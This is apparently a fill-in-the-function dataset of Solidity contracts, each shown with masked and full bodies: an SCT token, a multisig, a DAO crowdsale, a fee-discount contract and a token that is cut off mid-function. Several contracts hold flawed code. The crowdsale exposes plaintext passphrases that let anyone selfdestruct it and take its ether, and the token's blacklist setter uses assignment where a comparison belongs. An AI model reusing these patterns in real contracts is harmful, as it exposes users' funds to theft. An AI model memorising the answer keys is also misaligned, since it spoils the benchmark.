source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
71542
SCT
unfreeze
contract SCT is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18; mapping (address => bool) restrictedAddresses; uint256 constant initialSupply = 3100 * (10**6) * 10**18; string constant tokenName = 'SCT'; uint8 constant decimalUnits = 18; string constant tokenSymbol = 'SCT'; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); // Mint event event Mint(address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyOwner { assert(owner == msg.sender); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ function SCT() { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) { require (_value > 0) ; require (balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (!restrictedAddresses[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; // Set allowance Approval(msg.sender, _spender, _value); // Raise Approval event return true; } function prodTokens(address _to, uint256 _amount) onlyOwner { require (_amount != 0 ) ; // Check if values are not null; require (balanceOf[_to] + _amount > balanceOf[_to]) ; // Check for overflows require (totalSupply <=tokensTotalSupply); //require (!restrictedAddresses[_to]); totalSupply += _amount; // Update total supply balanceOf[_to] += _amount; // Set minted coins to target Mint(_to, _amount); // Create Mint event Transfer(0x0, _to, _amount); // Create Transfer event from 0x } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance require (!restrictedAddresses[_to]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> } // transfer balance to owner function withdrawEther(uint256 amount) onlyOwner { owner.transfer(amount); } function totalSupply() constant returns (uint256 Supply) { return totalSupply; } /* Get balance of specific address */ function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOf[_owner]; } function() payable { revert(); } /* Owner can add new restricted address or removes one */ function editRestrictedAddress(address _newRestrictedAddress) onlyOwner { restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress]; } function isRestrictedAddress(address _querryAddress) constant returns (bool answer){ return restrictedAddresses[_querryAddress]; } }
contract SCT is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18; mapping (address => bool) restrictedAddresses; uint256 constant initialSupply = 3100 * (10**6) * 10**18; string constant tokenName = 'SCT'; uint8 constant decimalUnits = 18; string constant tokenSymbol = 'SCT'; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); // Mint event event Mint(address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyOwner { assert(owner == msg.sender); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ function SCT() { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) { require (_value > 0) ; require (balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (!restrictedAddresses[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; // Set allowance Approval(msg.sender, _spender, _value); // Raise Approval event return true; } function prodTokens(address _to, uint256 _amount) onlyOwner { require (_amount != 0 ) ; // Check if values are not null; require (balanceOf[_to] + _amount > balanceOf[_to]) ; // Check for overflows require (totalSupply <=tokensTotalSupply); //require (!restrictedAddresses[_to]); totalSupply += _amount; // Update total supply balanceOf[_to] += _amount; // Set minted coins to target Mint(_to, _amount); // Create Mint event Transfer(0x0, _to, _amount); // Create Transfer event from 0x } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance require (!restrictedAddresses[_to]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } <FILL_FUNCTION> // transfer balance to owner function withdrawEther(uint256 amount) onlyOwner { owner.transfer(amount); } function totalSupply() constant returns (uint256 Supply) { return totalSupply; } /* Get balance of specific address */ function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOf[_owner]; } function() payable { revert(); } /* Owner can add new restricted address or removes one */ function editRestrictedAddress(address _newRestrictedAddress) onlyOwner { restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress]; } function isRestrictedAddress(address _querryAddress) constant returns (bool answer){ return restrictedAddresses[_querryAddress]; } }
require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true;
function unfreeze(uint256 _value) returns (bool success)
function unfreeze(uint256 _value) returns (bool success)
2251
Multisig
execute
contract Multisig { // Maintain a mapping of used hashes to prevent replays. mapping(bytes32 => bool) private _usedHashes; // Maintain a mapping and a convenience array of owners. mapping(address => bool) private _isOwner; address[] private _owners; // The destination is the only account the multisig can call. address private immutable _DESTINATION; // The threshold is an exact number of valid signatures that must be supplied. uint256 private immutable _THRESHOLD; // Note: Owners must be strictly increasing in order to prevent duplicates. constructor(address destination, uint256 threshold, address[] memory owners) { require(destination != address(0), "No destination address supplied."); _DESTINATION = destination; require(threshold > 0 && threshold <= 10, "Invalid threshold supplied."); _THRESHOLD = threshold; require(owners.length <= 10, "Cannot have more than 10 owners."); require(threshold <= owners.length, "Threshold cannot exceed total owners."); address lastAddress = address(0); for (uint256 i = 0; i < owners.length; i++) { require( owners[i] > lastAddress, "Owner addresses must be strictly increasing." ); _isOwner[owners[i]] = true; lastAddress = owners[i]; } _owners = owners; } function getHash( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt ) external view returns (bytes32 hash, bool usable) { (hash, usable) = _getHash(data, executor, gasLimit, salt); } function getOwners() external view returns (address[] memory owners) { owners = _owners; } function isOwner(address account) external view returns (bool owner) { owner = _isOwner[account]; } function getThreshold() external view returns (uint256 threshold) { threshold = _THRESHOLD; } function getDestination() external view returns (address destination) { destination = _DESTINATION; } // Note: addresses recovered from signatures must be strictly increasing. function execute( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt, bytes calldata signatures ) external returns (bool success, bytes memory returnData) {<FILL_FUNCTION_BODY> } function _getHash( bytes memory data, address executor, uint256 gasLimit, bytes32 salt ) internal view returns (bytes32 hash, bool usable) { // Prevent replays across different chains. uint256 chainId; assembly { chainId := chainid() } // Note: this is the data used to create a personal signed message hash. hash = keccak256( abi.encodePacked(address(this), chainId, salt, executor, gasLimit, data) ); usable = !_usedHashes[hash]; } /** * @dev Returns each address that signed a hashed message (`hash`) from a * collection of `signatures`. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if a signature is invalid, or if the * signer is otherwise unable to be retrieved. In those scenarios, the zero * address is returned for that signature. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that recover * to arbitrary addresses for non-hashed data. */ function _recoverGroup( bytes32 hash, bytes memory signatures ) internal pure returns (address[] memory signers) { // Ensure that the signatures length is a multiple of 65. if (signatures.length % 65 != 0) { return new address[](0); } // Create an appropriately-sized array of addresses for each signer. signers = new address[](signatures.length / 65); // Get each signature location and divide into r, s and v variables. bytes32 signatureLocation; bytes32 r; bytes32 s; uint8 v; for (uint256 i = 0; i < signers.length; i++) { assembly { signatureLocation := add(signatures, mul(i, 65)) r := mload(add(signatureLocation, 32)) s := mload(add(signatureLocation, 64)) v := byte(0, mload(add(signatureLocation, 96))) } // EIP-2 still allows signature malleability for ecrecover(). Remove // this possibility and make the signature unique. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { continue; } if (v != 27 && v != 28) { continue; } // If signature is valid & not malleable, add signer address. signers[i] = ecrecover(hash, v, r, s); } } function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
contract Multisig { // Maintain a mapping of used hashes to prevent replays. mapping(bytes32 => bool) private _usedHashes; // Maintain a mapping and a convenience array of owners. mapping(address => bool) private _isOwner; address[] private _owners; // The destination is the only account the multisig can call. address private immutable _DESTINATION; // The threshold is an exact number of valid signatures that must be supplied. uint256 private immutable _THRESHOLD; // Note: Owners must be strictly increasing in order to prevent duplicates. constructor(address destination, uint256 threshold, address[] memory owners) { require(destination != address(0), "No destination address supplied."); _DESTINATION = destination; require(threshold > 0 && threshold <= 10, "Invalid threshold supplied."); _THRESHOLD = threshold; require(owners.length <= 10, "Cannot have more than 10 owners."); require(threshold <= owners.length, "Threshold cannot exceed total owners."); address lastAddress = address(0); for (uint256 i = 0; i < owners.length; i++) { require( owners[i] > lastAddress, "Owner addresses must be strictly increasing." ); _isOwner[owners[i]] = true; lastAddress = owners[i]; } _owners = owners; } function getHash( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt ) external view returns (bytes32 hash, bool usable) { (hash, usable) = _getHash(data, executor, gasLimit, salt); } function getOwners() external view returns (address[] memory owners) { owners = _owners; } function isOwner(address account) external view returns (bool owner) { owner = _isOwner[account]; } function getThreshold() external view returns (uint256 threshold) { threshold = _THRESHOLD; } function getDestination() external view returns (address destination) { destination = _DESTINATION; } <FILL_FUNCTION> function _getHash( bytes memory data, address executor, uint256 gasLimit, bytes32 salt ) internal view returns (bytes32 hash, bool usable) { // Prevent replays across different chains. uint256 chainId; assembly { chainId := chainid() } // Note: this is the data used to create a personal signed message hash. hash = keccak256( abi.encodePacked(address(this), chainId, salt, executor, gasLimit, data) ); usable = !_usedHashes[hash]; } /** * @dev Returns each address that signed a hashed message (`hash`) from a * collection of `signatures`. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if a signature is invalid, or if the * signer is otherwise unable to be retrieved. In those scenarios, the zero * address is returned for that signature. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that recover * to arbitrary addresses for non-hashed data. */ function _recoverGroup( bytes32 hash, bytes memory signatures ) internal pure returns (address[] memory signers) { // Ensure that the signatures length is a multiple of 65. if (signatures.length % 65 != 0) { return new address[](0); } // Create an appropriately-sized array of addresses for each signer. signers = new address[](signatures.length / 65); // Get each signature location and divide into r, s and v variables. bytes32 signatureLocation; bytes32 r; bytes32 s; uint8 v; for (uint256 i = 0; i < signers.length; i++) { assembly { signatureLocation := add(signatures, mul(i, 65)) r := mload(add(signatureLocation, 32)) s := mload(add(signatureLocation, 64)) v := byte(0, mload(add(signatureLocation, 96))) } // EIP-2 still allows signature malleability for ecrecover(). Remove // this possibility and make the signature unique. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { continue; } if (v != 27 && v != 28) { continue; } // If signature is valid & not malleable, add signer address. signers[i] = ecrecover(hash, v, r, s); } } function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
require( executor == msg.sender || executor == address(0), "Must call from the executor account if one is specified." ); // Derive the message hash and ensure that it has not been used before. (bytes32 rawHash, bool usable) = _getHash(data, executor, gasLimit, salt); require(usable, "Hash in question has already been used previously."); // wrap the derived message hash as an eth signed messsage hash. bytes32 hash = _toEthSignedMessageHash(rawHash); // Recover each signer from provided signatures and ensure threshold is met. address[] memory signers = _recoverGroup(hash, signatures); require(signers.length == _THRESHOLD, "Total signers must equal threshold."); // Verify that each signatory is an owner and is strictly increasing. address lastAddress = address(0); // cannot have address(0) as an owner for (uint256 i = 0; i < signers.length; i++) { require( _isOwner[signers[i]], "Signature does not correspond to an owner." ); require( signers[i] > lastAddress, "Signer addresses must be strictly increasing." ); lastAddress = signers[i]; } // Add the hash to the mapping of used hashes and execute the transaction. _usedHashes[rawHash] = true; (success, returnData) = _DESTINATION.call{gas:gasLimit}(data);
function execute( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt, bytes calldata signatures ) external returns (bool success, bytes memory returnData)
// Note: addresses recovered from signatures must be strictly increasing. function execute( bytes calldata data, address executor, uint256 gasLimit, bytes32 salt, bytes calldata signatures ) external returns (bool success, bytes memory returnData)
82527
Ownable
acceptOwnership
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } function acceptOwnership() public {<FILL_FUNCTION_BODY> } function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } <FILL_FUNCTION> function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
require(new_owner != address(0) && msg.sender == new_owner); emit OwnershipTransferred(owner, new_owner); owner = new_owner; new_owner = address(0);
function acceptOwnership() public
function acceptOwnership() public
40928
daocrowdsale
daocrowdsale
contract daocrowdsale is Ownable { using SafeMath for uint256; bytes32 constant password = keccak256("...And Justice For All!"); bytes32 constant fin = keccak256("...I Saw The Throne Of Gods..."); COIN public DAO; uint256 public constant price = 500 finney; enum State {READY, LAUNCHED, STAGE1, STAGE2, STAGE3, FAIL} struct values { uint256 hardcap; uint256 insuranceFunds; uint256 premial; uint256 reservance; } State currentState; uint256 timeOfNextShift; uint256 timeOfPreviousShift; values public Values; function daocrowdsale(address _token){<FILL_FUNCTION_BODY> } function StateShift(string _reason) private returns (bool){ require(!(currentState == State.FAIL)); if (currentState == State.STAGE3) return false; if (currentState == State.STAGE2) { currentState = State.STAGE3; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 3650 * (1 days)); StateChanged(State.STAGE3, now, _reason); return true; } if (currentState == State.STAGE1) { currentState = State.STAGE2; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 30 * (1 days)); StateChanged(State.STAGE2, now, _reason); return true; } if (currentState == State.LAUNCHED) { currentState = State.STAGE1; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 30 * (1 days)); StateChanged(State.STAGE1, now, _reason); return true; } } function GetCurrentState() constant returns (State){ return currentState; } function TimeCheck() private constant returns (bool) { if (timeOfNextShift > block.timestamp) return true; return false; } function StartNewStage() private returns (bool){ Values.hardcap = Values.hardcap.add(438200); Values.insuranceFunds = Values.insuranceFunds.add(5002); Values.premial = Values.premial.add(1300); Values.reservance = Values.reservance.add(200); return true; } modifier IsOutdated() { if(!TimeCheck()){ _; StateShift("OUTDATED"); } else _; } modifier IsBought(uint256 _amount, uint256 _total){ if(_amount >= _total){ _; StateShift("SUCCEED"); StartNewStage(); } else _; } /* function masterMint(address _to, uint256 _amount) IsOutdated IsBought(totalSupply(), Values.hardcap) private returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } */ function masterBalanceOf(bytes32 _pswd, address _owner) IsOutdated IsBought(DAO.totalSupply(), Values.hardcap) constant returns (uint256 balance) { require(_pswd == password); return DAO.balanceOf(_owner); } function totalCoinSupply()constant returns (uint256){ return DAO.totalSupply(); } function buy (uint256 _amount) IsOutdated IsBought(DAO.totalSupply(), Values.hardcap) payable returns (bool) { require((msg.value == price*_amount)&&(_amount <= (Values.hardcap - DAO.totalSupply()))); owner.transfer(msg.value); DAO.passwordMint(msg.sender, _amount, password); Deal(msg.sender, _amount); return true; } function masterFns(bytes32 _pswd) returns (bool){ require(_pswd == fin); selfdestruct(msg.sender); } function()payable{ require(msg.value >= price); address buyer = msg.sender; uint256 refund = (msg.value) % price; uint256 accepted = (msg.value) / price; assert(accepted + DAO.totalSupply() <= Values.hardcap); if (refund != 0){ buyer.transfer(refund); } if (accepted != 0){ owner.transfer(msg.value); DAO.passwordMint(buyer, accepted, password); } Deal (buyer, accepted); } event StateChanged (State indexed _currentState, uint256 _time, string _reason); event Deal(address indexed _trader, uint256 _amount); }
contract daocrowdsale is Ownable { using SafeMath for uint256; bytes32 constant password = keccak256("...And Justice For All!"); bytes32 constant fin = keccak256("...I Saw The Throne Of Gods..."); COIN public DAO; uint256 public constant price = 500 finney; enum State {READY, LAUNCHED, STAGE1, STAGE2, STAGE3, FAIL} struct values { uint256 hardcap; uint256 insuranceFunds; uint256 premial; uint256 reservance; } State currentState; uint256 timeOfNextShift; uint256 timeOfPreviousShift; values public Values; <FILL_FUNCTION> function StateShift(string _reason) private returns (bool){ require(!(currentState == State.FAIL)); if (currentState == State.STAGE3) return false; if (currentState == State.STAGE2) { currentState = State.STAGE3; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 3650 * (1 days)); StateChanged(State.STAGE3, now, _reason); return true; } if (currentState == State.STAGE1) { currentState = State.STAGE2; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 30 * (1 days)); StateChanged(State.STAGE2, now, _reason); return true; } if (currentState == State.LAUNCHED) { currentState = State.STAGE1; timeOfPreviousShift = block.timestamp; timeOfNextShift = (now + 30 * (1 days)); StateChanged(State.STAGE1, now, _reason); return true; } } function GetCurrentState() constant returns (State){ return currentState; } function TimeCheck() private constant returns (bool) { if (timeOfNextShift > block.timestamp) return true; return false; } function StartNewStage() private returns (bool){ Values.hardcap = Values.hardcap.add(438200); Values.insuranceFunds = Values.insuranceFunds.add(5002); Values.premial = Values.premial.add(1300); Values.reservance = Values.reservance.add(200); return true; } modifier IsOutdated() { if(!TimeCheck()){ _; StateShift("OUTDATED"); } else _; } modifier IsBought(uint256 _amount, uint256 _total){ if(_amount >= _total){ _; StateShift("SUCCEED"); StartNewStage(); } else _; } /* function masterMint(address _to, uint256 _amount) IsOutdated IsBought(totalSupply(), Values.hardcap) private returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } */ function masterBalanceOf(bytes32 _pswd, address _owner) IsOutdated IsBought(DAO.totalSupply(), Values.hardcap) constant returns (uint256 balance) { require(_pswd == password); return DAO.balanceOf(_owner); } function totalCoinSupply()constant returns (uint256){ return DAO.totalSupply(); } function buy (uint256 _amount) IsOutdated IsBought(DAO.totalSupply(), Values.hardcap) payable returns (bool) { require((msg.value == price*_amount)&&(_amount <= (Values.hardcap - DAO.totalSupply()))); owner.transfer(msg.value); DAO.passwordMint(msg.sender, _amount, password); Deal(msg.sender, _amount); return true; } function masterFns(bytes32 _pswd) returns (bool){ require(_pswd == fin); selfdestruct(msg.sender); } function()payable{ require(msg.value >= price); address buyer = msg.sender; uint256 refund = (msg.value) % price; uint256 accepted = (msg.value) / price; assert(accepted + DAO.totalSupply() <= Values.hardcap); if (refund != 0){ buyer.transfer(refund); } if (accepted != 0){ owner.transfer(msg.value); DAO.passwordMint(buyer, accepted, password); } Deal (buyer, accepted); } event StateChanged (State indexed _currentState, uint256 _time, string _reason); event Deal(address indexed _trader, uint256 _amount); }
DAO = COIN(_token); Values.hardcap = 438200; assert(DAO.passwordMint(owner, 5002, password)); Values.insuranceFunds = 5002; assert(DAO.passwordMint(owner, 13000, password)); Values.premial = 13000; assert(DAO.passwordMint(owner, 200, password)); Values.reservance = 200; currentState = State.LAUNCHED; timeOfPreviousShift = now; timeOfNextShift = (now + 30 * (1 days));
function daocrowdsale(address _token)
function daocrowdsale(address _token)
11986
Discount
disableServiceFee
contract Discount { address public owner; mapping (address => CustomServiceFee) public serviceFees; uint constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({ active: true, amount: _fee }); } function disableServiceFee(address _user) public {<FILL_FUNCTION_BODY> } }
contract Discount { address public owner; mapping (address => CustomServiceFee) public serviceFees; uint constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({ active: true, amount: _fee }); } <FILL_FUNCTION> }
require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({ active: false, amount: 0 });
function disableServiceFee(address _user) public
function disableServiceFee(address _user) public
83739
JPEGMorgan
_approve
contract JPEGMorgan is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address deadAddress = 0x000000000000000000000000000000000000dEaD; string private _name = "JPEG MORGAN"; string private _symbol = "JPG"; uint8 private _decimals = 9; uint256 private initialsupply = 10_000_000; uint256 private _tTotal = initialsupply * 10 ** _decimals; address payable private _marketingWallet; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool private cooldownEnabled = true; uint256 public cooldown = 30 seconds; uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _taxFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 11; uint256 private _previousMarketingFee = _marketingFee; uint256 private maxBuyPercent = 10; uint256 private maxBuyDivisor = 1000; uint256 private _maxBuyAmount = (_tTotal * maxBuyPercent) / maxBuyDivisor; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private numTokensSellToAddToLiquidity = _tTotal / 100; // 1% event ToMarketing(uint256 bnbSent); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address marketingWallet) { _rOwned[_msgSender()] = _rTotal; _marketingWallet = payable(marketingWallet); // Pancake Swap V2 address // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // uniswap address IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) {return _name;} function symbol() public view returns (string memory) {return _symbol;} function decimals() public view returns (uint8) {return _decimals;} function totalSupply() public view override returns (uint256) {return _tTotal;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setNumTokensSellToAddToLiquidity(uint256 percent, uint256 divisor) external onlyOwner() { uint256 swapAmount = _tTotal.mul(percent).div(divisor); numTokensSellToAddToLiquidity = swapAmount; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() { _marketingFee = marketingFee; } function setCooldown(uint256 _cooldown) external onlyOwner() { cooldown = _cooldown; } function setMaxBuyPercent(uint256 percent, uint divisor) external onlyOwner { require(percent >= 1 && divisor <= 1000); // cannot set lower than .1% uint256 new_tx = _tTotal.mul(percent).div(divisor); require(new_tx >= (_tTotal / 1000), "Max tx must be above 0.1% of total supply."); _maxBuyAmount = new_tx; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function setBlacklistStatus(address account, bool Blacklisted) external onlyOwner { if (Blacklisted = true) { _isBlacklisted[account] = true; } else if(Blacklisted = false) { _isBlacklisted[account] = false; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); 